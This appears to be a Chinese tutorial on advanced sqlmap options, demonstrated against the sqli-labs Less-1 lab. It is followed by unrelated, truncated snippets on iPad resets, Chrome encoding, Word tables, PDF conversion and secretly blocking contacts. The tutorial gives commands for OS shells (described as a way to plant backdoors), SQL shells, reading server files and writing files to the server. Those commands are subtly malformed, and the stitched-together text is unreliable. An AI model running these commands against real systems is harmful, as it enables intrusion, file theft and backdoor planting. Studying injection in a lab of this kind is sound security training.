SQLmap是一款自动化的SQL注入工具,旨在扫描、发现并利用给定URL中的SQL注入漏洞。它目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Acess、IBM DB2、SQLLite、Firebird、Sybase和SAP MaxDB等。
SQLmap采用了几种独特的SQL注入技术,包括盲推理SQL注入、UNION查询SQL注入以及对查询和盲注的处理。除此之外,SQLmap还提供了广泛的功能和选项,例如数据库指纹识别、枚举、数据库提取、访问目标文件系统,以及在获取完全操作权限时执行任意命令等。
本文以sqli-labs第一关为例,介绍更强大的SQLmap参数来执行不同的操作。
1. 使用"--os-shell"参数可以执行操作系统命令。例如:
```
python2 -u "http://10.10.10.1/sqli-labs-master/Less-1/?id1" --os-shell
```
这样做通常是为了写入后门文件并调用它。
2. 使用"--sql-shell"参数可以执行SQL语句命令。例如:
```
python2 -u "http://10.10.10.1/sqli-labs-master/Less-1/?id1" --sql-shell
```
这样可以进入命令框模式,并直接输入SQL命令。
3. 使用"--file-read"参数可以读取文件内容。例如:
```
python2 -u "http://10.10.10.1/sqli-labs-master/Less-1/?id1" --file-read 文件目录
```
其中,文件目录可以是任意需要读取的文件路径,例如读取桌面上的test.txt文件。
4. 读取的信息会存放在"C:UsersAdministrator.sqlmapoutput10.10.10.1"目录下。
5. 使用"--file-write"和"--file-dest"参数可以将本地文件写入注入服务器中。例如:
```
python2 -u "http://10.10.10.1/sqli-labs-master/Less-1/?id1" --file-write 本地文件 --file-dest 目标目录及文件
```
在这个示例中,在本地搭建的环境中,将桌面上的test.txt文件写入注入服务器的桌面下的test1.txt文件。
通过使用这些SQLmap常用的参数,我们可以更灵活地利用SQL注入漏洞,并执行各种操作,包括执行操作系统命令、执行SQL语句命令以及读取和写入文件等。
ipad已停用需连itunes忘了密码和账号怎么办?在电脑上上网下载iTunes-连接到电脑和iPad-先打开iPad-再点击可以恢复-恢复到出厂设置密码。具体操作方法如下:1、先在电脑上连网在苹果公司光官方网站上网下载一个iTunes软件
最新版的Chrome浏览器无法直接设置网页编码,但是我们可以通过安装插件的方法来实现修改网页编码的需求。下面我们就一步一步来看看解决这个问题的方法。在Chrome浏览器主界面上添加应用首先,在打开的Chrome浏览器主界面,我们点击左上角的
随着互联网的发展,越来越多的企业和个人选择租用服务器来托管自己的网站、应用程序和数据。然而,面对市面上琳琅满目的服务器配置选项,如何选择适合的配置成为了许多人的疑惑。首先,我们需要考虑的是预算。租用服务器的价格通常与配置密切相关,需根据自身
怎么将word里的表格和里面的文字整体变小?光标移上表格右下角,待光标变的上下行箭头后,摁鼠标左键,往左上方拉再试一下。1.再点文档中的Excel表格,此时表格四周会出现空心小方框。2.用鼠标天翼到小方框上时会变成单向箭头,按住左键可拖动表
在组织活动或会议时,一个清晰的座位表对于参与者的安排和管理至关重要。使用Microsoft Word软件可以轻松地创建和编辑座位表。下面是制作座位表的详细步骤。步骤一:选中数据并插入表格首先,打开Microsoft Word软件,并在文档中
在如今社交媒体盛行的时代,朋友圈已经成为人们展示自我、分享生活的重要平台之一。大多数人在发朋友圈的时候都会附上一张精美的图片来吸引别人的眼球,但是如果没有合适的图片,我们该如何用纯文字来表达自己呢?首先,文字的魅力是无穷的。纯文字的信息传递
手机里面的PDF文件可以转换办公用的Word吗?那个手机可以把PDF文件装换Word文档的,有选择工具就可以了,在这里能介绍下快速方法。1、简单的方法在手机啊其中先打开迅捷pdf手机阅读器,是没有的可以不去直接下载按装2、熟悉下百度网页,小
在处理工作中的各种麻烦时,我们经常会遇到外国人名字过长、难以记忆的情况。那么,如何使用WPS表格和Excel表格来批量简化外国人名呢?步骤一:选择外国人名首先,我们需要选中表格中的所有外国人名。通常情况下,我们可以发现这些外国人名都是用横杠
在现代社交媒体的时代,我们经常会遇到一些不喜欢或令人不悦的人。有时候,我们不得不考虑将这样的人拉黑,以避免与他们进一步的互动。然而,我们希望能够在不让对方知晓的情况下完成这个操作。本文将为您介绍一些方法和技巧,帮助您成功偷偷拉黑对方。第一点
怎么在python里面,用键盘输入信息?input函数,运行程序之后,就要用输入符号:ainput()print(a)运行程序之后,用数字键盘内容,按动回车键,就可以再打印然后输入的内容。只不过,如果没有运行之后极大提示,会不会好点呢?pr